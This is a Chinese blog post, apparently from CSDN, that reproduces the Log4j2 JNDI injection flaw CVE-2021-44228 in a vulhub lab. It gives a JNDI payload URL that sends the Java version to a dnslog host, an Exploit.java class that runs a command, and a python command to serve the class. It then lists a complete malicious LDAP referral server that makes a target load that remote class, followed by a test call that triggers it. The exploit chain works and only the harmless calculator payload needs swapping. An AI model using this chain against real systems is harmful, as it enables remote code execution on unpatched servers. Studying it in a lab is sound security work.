复现log4j2-CVE-2021-44228_horizon 8.0 log4j2-优快云博客

本文链接：https://blog.youkuaiyun.com/SharkVeryBusy/article/details/124829098

本文介绍了Apache Log4j2的安全漏洞CVE-2021-44228，该漏洞允许攻击者通过在日志记录中注入特定变量执行任意代码。文章详细说明了漏洞原理，通过一个通俗的解释帮助理解问题的本质。同时，作者提供了vulhub环境的搭建步骤，包括运行log4j容器、构造payload以及观察DNSlog的响应。接着，分析了漏洞利用过程，包括编译Exploit.java为class文件，并通过Python开启目录共享。最后，展示了如何利用ldap服务进行测试，成功调用了计算器，证实了漏洞的可行性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

漏洞原理：

官方表述是：Apache Log4j2 中存在JNDI注入漏洞，当程序将用户输入的数据进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是：在打印日志的时候，如果你的日志内容中包含关键词 ${，攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令，并且执行。

vulhub环境搭建

运行log4j容器

访问

payload：

http://192.168.8.139:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xyr4kk.dnslog.cn}

dnslog上刷新显示jdk版本

漏洞分析：

pom依赖：
    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>3.2.0</version>
        </dependency>
    </dependencies>

调用计算器代码：Exploit.java

import java.io.IOException;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

编译成class文件：javac Exploit.java

ps：这里使用Python3开启目录共享,命令： python3 -m http.server 4444

ldap服务

启动一个ldap服务
LDAPRefServer.java
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    /**
     * class地址 用#Exploit代替Exploit.class
     */
    private static final String EXPLOIT_CLASS_URL = "http://192.168.8.102:4444/#Exploit";

    public static void main(String[] args) {
        int port = 7912;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Calc");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

开启ldap

测试log4j

Log4J.java
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:7912/test}");
    }
}

计算器成功调用